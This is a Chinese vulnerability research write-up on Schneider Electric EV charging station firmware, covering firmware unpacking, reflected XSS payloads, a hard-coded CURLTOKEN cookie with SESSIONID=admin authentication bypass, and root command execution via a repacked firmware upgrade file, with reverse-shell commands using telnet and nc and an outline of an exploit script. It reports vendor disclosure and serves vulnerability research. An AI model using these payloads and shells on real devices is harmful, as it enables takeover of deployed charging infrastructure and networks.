施耐德充电桩漏洞挖掘之旅

汽车安全 3年前 (2021) admin
1,115 0 0
本文首发于奇安信攻防社区

社区有奖征稿

· 基础稿费、额外激励、推荐作者、连载均有奖励,年度投稿top3还有神秘大奖!

· 将稿件提交至奇安信攻防社区(点击底部 阅读原文 ,加入社区)

点击链接了解征稿详情

大家好,我是BaCde,今天来说一说2020年底针对施耐德充电桩的漏洞挖掘过程。此次挖掘最终实现了通过远程无需用户交互场景下实现Root权限shell获取(一键远程Rootshell获取)。官方已经于今年7月份公布漏洞补丁以及相应的CVE编号。

0x01 为什么选择施耐德?

作为车联网安全研究来说,充电桩作为车联网必要组成部分,具备实际的研究价值与意义。而面临如此多的品牌,选择哪个目标作为研究对象是面临的第一个问题。为了能够更快的实现我选择了几个衡量指标,包括官方有响应中心、固件可下载、市面上可以买到、互联网上有暴露的目标。分别对应合法性、静态分析、动态测试、漏洞可产生实际的影响。

根据指标通过网络上去收集信息,最终将目标锁定在施耐德。同时,施耐德也在CVE官方的CNA列表中,报送的漏洞可以获得CVE编号。

0x02 目标设定

确定了要研究的对象,接下来就要确定一下我们要实现什么样的效果。这可以使得在分析过程中保持聚焦,不偏离方向。目标设定如下:

  1. 远程获取设备Root权限
  2. 无需登录,无需交互

根据上述设定最直接的方式就是寻找远程命令执行漏洞,即要RCE类型漏洞。

0x03 信息收集

一切准备就绪,开始我们的漏洞挖掘之旅。

首先,固件下载地址 https://www.se.com/ww/en/download/document/MFR4341700/ ,下载固件。

当时下载到最新的固件版本为3.3.0.12。固件文件名:MFR4341700.zip,包含升级包,相关说明文档。

解压缩zip包后,主要的升级包是一个后缀名为epk的文件。通过file命令检查,可知为tar压缩格式。

  1. file r7_update_3.3.0.12_d4.epk
  2. r7_update_3.3.0.12_d4.epk: POSIX tar archive (GNU)

输入tar xf r7_update_3.3.0.12_d4.epk即可对其解压缩。得到如下列表文件:

  1. total 58968
  2. 8 -rw-r--r--@ 1 aliceclaudia  staff    68B 5 29 2020 CONTROL
  3. 16 -rwxr-xr-x@ 1 aliceclaudia  staff   7.4K 5 29 2020 at91sam9g20ek-bootstrap-3.6.11-201612.bin
  4. 8 -rw-r--r--@ 1 aliceclaudia  staff   2.0K 5 29 2020 bspv5_target_pre-update_s cript.sh
  5. 24 -rwxr-xr-x@ 1 aliceclaudia  staff   9.3K 5 29 2020 bspv5_target_update_s cript.sh
  6. 8 -rwxr-xr-x@ 1 aliceclaudia  staff   2.2K 5 29 2020 common_bspv4_target_shell_s cripts.sh
  7. 8 -rwxr-xr-x@ 1 aliceclaudia  staff   2.4K 5 29 2020 common_bspv5_target_shell_s cripts.sh
  8. 24 -rwxr-xr-x@ 1 aliceclaudia  staff    10K 5 29 2020 common_target_shell_s cripts.sh
  9. 16352 -rw-r--r--@ 1 aliceclaudia  staff   8.0M 5 29 2020 evse_b ase_jffs2.img
  10. 29480 -rw-rw-r--@ 1 aliceclaudia  staff    14M 6 19 10:16 r7_update_3.3.0.12_d4.epk
  11. 24 -rwxr-xr-x@ 1 aliceclaudia  staff    11K 5 29 2020 redLight
  12. 8 -rwxr-xr-x@ 1 aliceclaudia  staff   213B 5 29 2020 run.sh
  13. 1344 -rw-r--r--@ 1 aliceclaudia  staff   672K 5 29 2020 ssh.tgz
  14. 8 -rw-r--r--@ 1 aliceclaudia  staff   4.0K 5 29 2020 u-boot_env-bspv5p5.bin
  15. 8 -rw-r--r--@ 1 aliceclaudia  staff   4.0K 5 29 2020 u-boot_env-bspv5p7.bin
  16. 11648 -rw-r--r--@ 1 aliceclaudia  staff   5.7M 5 29 2020 uImage.parkingboard_v2_1

可以看到有一些shell脚本、bin文件、压缩包,img文件等。逐个查看,可以确定此次的主要目标在evse_b ase_jffs2.imguImage.parkingboard_v2_1。使用binwalk对文件进行识别。可知uImage.parkingboard_v2_1为 uImage文件,人口为0x20008000,arm的cpu,内核版本为linux-4.4.14。

  1. DECIMAL       HEXADECIMAL     DEs criptION
  2. --------------------------------------------------------------------------------
  3. 0 0x0             uImage header, header size: 64 bytes, header CRC: 0xDF6A9558, created: 2020-05-29 15:35:56, image size: 5962125 bytes, Data Address: 0x20008000, Entry Point: 0x20008000, data CRC: 0x5835552D, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: "Linux-4.4.14"
  4. 64 0x40 Linux kernel ARM boot executable zImage (little-endian)
  5. 2368 0x940           device tree image (dtb)
  6. 15092 0x3AF4          device tree image (dtb)
  7. 20248 0x4F18          device tree image (dtb)
  8. 24496 0x5FB0          gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)
  9. 5942168 0x5AAB98        device tree image (dtb)

evse_b ase_jffs2.img 文件是JFFS2 filesystem, little endian。除此之外,也可以从其一是文件名中得知一些信息,如处理器为AT91SAM9G20,这个处理器是基于ARM926EJ-S处理器,时钟频率为400MHz。可以确定其bootstrap文件,u-boot的环境信息。

施耐德充电桩漏洞挖掘之旅

另外,从解压缩出来的shell脚本中可以分析出大概的分区结构。

  1. /dev/mtdblock1 ssh,备份文件等
  2. /dev/mtdblock2 bootstrap
  3. /dev/mtdblock4 uboot-env
  4. /dev/mtdblock5 uImage
  5. /dev/mtdblock6 evse_b ase

施耐德充电桩漏洞挖掘之旅

分别使用binwalk解uImage文件和evse_b ase_jffs2.img文件。可以得到系统文件,与结构,web目录、依赖库、辅助脚本等内容。查看/etc/shadow文件,发现采用的是sha512的unix密码,尝试查询和破解,最终无果。

通过分析解压缩出来的文件,还可以确定主要的业务文件都在/mnt/下。

  1. /mnt/datas/ 主要存放应用程序、lib文件、一些shell脚本等。
  2. /mnt/flashfs            主要存放配置文件和数据库文件
  3. /mnt/spare                主要存在的是日志文件

在web管理界面中,其中的report功能处,可以看到系统的磁盘信息、日志、网络监听端口、内部ip地址等信息。设备开放的端口默认有22、80、502、1500-1504。还可以看到该系统使用到的一些开源软件,如mini_httpd,libmodbus,sqlite等。

施耐德充电桩漏洞挖掘之旅

0x04 漏洞挖掘

登录入口测试

该系统需要登陆,默认的用户名和密码可以通过官方提供的说明文档进行登录。考虑到修改密码的情况,首先想到的是测试sql注入,很遗憾最终未发现SQL注入,仅发现了反射型xss漏洞。在不同的版本中,利用方式稍有不同。其漏洞远离在于/cgi-bin/cgiserver的worker参数不正确时,会显示错误页面,其页面会将错误的worker参数显示在页面中,并且没有过滤,从而导致存在xss漏洞。

3.3.0.12之前的的版本payload

http://target/cgi-bin/cgiServer?worker=”;p rompt(1);//

在最新的3.3.0.12版本中对其worker参数中的双引号进行了处理,导致无法闭合而无法利用。但是在登录时,对于一些lang参数没有进行过滤,导致存在xss。另外在登录后对其进行测试可以发现,xss的这个问题普遍存在。但由于是登录后,没有实际具体意义。

3.3.0.12版本及以前版本

http://target/cgi-bin/cgiServer?worker=Login&lang=%22;a lert(1);//

响应的内容如下:

  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"   "http://www.w3.org/TR/html4/loose.dtd"><html>
  2. <head>
  3. <title>EVSE Web Interface</title>
  4. <m eta http-equiv="Content-Type" content="text/html charset=utf-8" >
  5. <m eta http-equiv="X-UA-Compatible" content="IE=EDGE; IE=10; IE=9; IE=8; IE=7;" />
  6. </head><body><s cript type="text/j avas cript">var loc="/cgi-bin/cgiServer?worker=LoginForm";
  7. loc+="&error=badid&lang=";a lert(1);//";
  8. document.location.href=loc;
  9. </s cript></body></html>

xss漏洞是无法满足设定的目标的,继续分析。

IDA静态分析

在分析过程中,由于IDA7.2不支持32位程序的伪代码生成功能。最终选择使用是IDA 7.0版本对其进行分析。

加载cgiserver程序(文件路径位/mnt/datas/opt/www/cgi-bin/),默认选项即可,在start函数,尝试F5显示伪代码,结果没成功。显示positive sp value has been found,其主要原因在于栈sp不平衡。解决办法如下:

  1. 首先打开栈指针选项,在options————->General———————->Disassembly,选择stack pointer

  2. 这个时候G键跳到出错的1ADC的地方,可以看到是个负值,指向它的上一行alt+k,改为大于负值,在按F5快捷键即可。

接下来就可以进行愉快的分析了。另外,后续使用IDA7.5分析不存在上述问题。

硬编码的token

打开菜单view——->Open subviews——->strings。先大概看一下是否有一些关键的字符串。当然也可以使用strings命令来获取。

在字符串窗口中,使用搜索功能尝试搜索password,token,username等关键词。逐个查看来快速定位关键位置。

在搜索的时候,可以看到不少snprintf(&s, 0x32u, "%s called (", "instance"); 形如这样的语法,可以猜测该功能是调试用的。很明显这里是显示调用函数的字符串。那么%s就是该函数的名字。

施耐德充电桩漏洞挖掘之旅

可批量搜索%s called ( ,然后修改该函数的函数名。根据索索到的结果,可以逐个修改当前代码所在的函数名字。只需要在函数名字上按n即可进行修改。修改函数之后,将对后面的分析带来便利。

施耐德充电桩漏洞挖掘之旅

通过通读代码,了解程序的执行逻辑。然后对其单点进行分析,首先将注意力放在了处理session验证的代码块。其代码在treatRequestInternal函数内,从名字可以看出是处理内部请求的。

施耐德充电桩漏洞挖掘之旅

可以看到该函数首先获取了用户请求中的cookie值,包括SESSIONID、SESSIONTOKEN、CURLTOKEN。在接着往下走,会发现一个判断分支,其中一个分支会判断cookie中的CURLTOKEN是否等于一个固定的字符串,成功会设置v153变量为1。

施耐德充电桩漏洞挖掘之旅

在继续向下读代码,另外一个分支则是从表单中获取login和password参数,然后使用TestPassword判断用户名和密码,成功后设置v153变量为1。而调试的信息也显示Loginok,即登录成功字样。说明这里判断登录与上述判断具有同样的效果。通过下文可知v153变量值为1是通过验证的标志。

施耐德充电桩漏洞挖掘之旅

由以上的分析,可以确定存在硬编码的token,我们在请求带上CURLTOKEN即可绕过验证。接下来到实际的web系统中测试,在cookie中带上CURLTOKN=b35fcdc1ea1***a0131c5a,在未登录情况下尝试访问一些页面,发现会提示You are not connected with sufficient privilege worker :SelectTabsModel user :evse的错误,那么这里就是判断了权限,也可以在上面代码可以看到跟evse相关的地方。上面可以看到v55变量,是获取cookie中的SESSIONID,这个也是我们可以构造的,构造SESSIONID=admin,即可绕过权限认证。实现无需密码进行web系统的管理。事情变得有趣了,这像是一个后门?在分析显示日志功能时,我明白了其原因。在打开report时,并不是由前端调用显示日志的页面,而是后端利用curl来获取的,所以叫CURLTOKEN。这就导致了这个漏洞的产生。

施耐德充电桩漏洞挖掘之旅

升级文件重打包导致的远程命令执行

有了上面的漏洞就可以进行许多管理员操作。这里可以优先寻找存在执行命令的位置,通过快捷键x来寻找调用execv,只有4处调用,3处主要都集中在Install的函数中。查看后发现,程序路径都是写死的,命令执行的路断了。但是在查看其上下文时,发现在执行命令前使用setenv设置了环境变量。变量的名字时EPK_KEY。

施耐德充电桩漏洞挖掘之旅

下面执行/mnt/datas/opt/evse/epk-install.sh文件。升级包的后缀是epk,函数名是Install。很明显升级固件就是这个地方了。如果我们可以构造自己的固件内容,上传恶意文件上去,那么就可以实现系统的控制了。

这里去读epk-install.sh文件,来了解epk的处理方式,在evse_jffs2_b ase.img的镜像中找到了这个文件。

通过阅读代码可以了解到其流程,获取传入的文件名,将环境变量中的EPK_KEY赋值给private_key,然后判断安装的文件是否存在,存在就解压缩文件到一个临时文件夹中,接下来将private_key写入到这个临时文件夹中,文件名为private。根据这个来计算出一个sha256sum的值写入到CONTROL2文件中,比较CONTROL和CONTROL2的内容,,如果一致,执行run.sh文件。在之前前会删除掉private文件。

施耐德充电桩漏洞挖掘之旅

施耐德充电桩漏洞挖掘之旅
由于CONTROL文件在压缩包中,这个值可控并且计算方式也很简单,这里直接调用命令即可生成。调用的run.sh文件也是在升级包中的,这里直接替换run.sh文件的内容为我们自己的命令,这样就可以实现任意命令执行了。最后使用tar cf命令打包即可,更新固件即可触发。

施耐德充电桩漏洞挖掘之旅

按照分析的结果,写入反弹shell的命令到run.sh文件中。打包上传更新固件。等待shell出现,但是很遗憾,失败了。这里可能存在几种情况:

  1. 升级过程中,设备没有网络;
  2. 反弹shell的命令失败。

对于第一种,先修改为curl的请求试试。结果成功执行。说明网络是通的。

施耐德充电桩漏洞挖掘之旅

网络没问题,问题就简单了。更换不同的反弹shell命令试试。换了几种方式失败后,最终通过telnet ip port1 | /bin/bash | telnet ip port2成功反弹。真是激动人心的时刻。

这个反弹的原理就是监听两个端口,端口1的连接负责输入命令,端口2的连接接收输出。当然在后续的测试中,这个尽管可以成功,但是还有网络因素导致输出的端口连接失败的情况。但是这里影响不大,可以输入nc ip port3 -e /bin/bash 反弹回显端口。

施耐德充电桩漏洞挖掘之旅

一键root之漏洞脚本开发

通过以上两个漏洞,可以实现无需登录的远程命令执行。但是每次输入命令,都比较麻烦。还是写一个脚本来自动化利用。

脚本相对简单,linux系统,使用python的requests库可轻松实现。思路为,抓取固件更新的请求包,生成命令执行的epk文件,利用requests的post方法发送构造的请求。

流程如下图:

施耐德充电桩漏洞挖掘之旅

通过抓包确定,发送的url路径为/cgi-bin/cgiServer?worker=FileDispatcher&nextWorker=FirmwareUpgrade&finalWorker=FirmwareUpgrade&finalIp=内网ip地址&treatOnlyThisStation=yes&uploading=true&longProcessing=true

这里的内网ip地址,我首先使用127.0.0.1替换,但是,发现这样不行。再次抓包分析,这个ip地址可以通过访问/cgi-bin/cgiServer?worker=FirmwareUpgradeForm来获得。使用正则表达式提取即可。

施耐德充电桩漏洞挖掘之旅

这个问题解决后,又出现了第二个问题,就是上传失败。没执行。继续抓包分析,通过对比burp抓的包和reqeusts发送的包进行对比,发现少了content-typ:application/octet-stream。通过设置请求头是无效的。这里要通过files = {'fichier': ('r7_update_3.3.0.12_d4.epk',open('r7_update_3.3.0.12_d4.epk', 'rb'),"application/octet-stream")}来设置就可以了。

0x05 漏洞影响

漏洞影响

  1. 用于僵尸网络。
  2. 横向渗透企业内部网络、家庭网络。为了确认真实性,通过对其IP地址进行分析,可以发现一些确实有企业在使用该充电桩。

可能的利用方式

  1. 与汽车进行数据交互,尝试fuzzing可能对汽车造成影响?
  2. 控制电压,造成设备故障

0x06 漏洞处理

漏洞发现后,以第一时间通报给施耐德官方厂商。并得到其厂商回复与致谢。公告地址:https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-194-06。

施耐德充电桩漏洞挖掘之旅

0x07 总结

在前期对其不了解以及缺乏相关知识的情况下,通过边研究边学习来挖掘漏洞。其中耗费了许多精力,也遇到了许多大大小小的问题,过程中有收获。对于充电桩还有很多可以去探索的,大家感兴趣的也都可以在合法情况下进行研究。

END

 

【版权说明】本作品著作权归BaCde所有,授权补天漏洞响应平台独家享有信息网络传播权,任何第三方未经授权,不得转载。

施耐德充电桩漏洞挖掘之旅
BaCde

RapidDNS.io网站站长 Bug Bounty Hunter

 

敲黑板!转发≠学会,课代表给你们划重点了

复习列表

某攻防演练期间遇到的shuipfcms的RCE审计过程

某客户关系管理系统代码审计

Chromium issue 1187403 分析

Celery Redis未授权访问利用

漏洞验证框架的构思与实现

硬核黑客笔记-不聪明的蓝牙锁

施耐德充电桩漏洞挖掘之旅

分享、点赞、在看,一键三连,yyds。
施耐德充电桩漏洞挖掘之旅

点击阅读原文,加入社区,获取更多技术干货!

原文始发于微信公众号(补天平台):施耐德充电桩漏洞挖掘之旅

版权声明:admin 发表于 2021年8月4日 上午10:00。
转载请注明:施耐德充电桩漏洞挖掘之旅 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...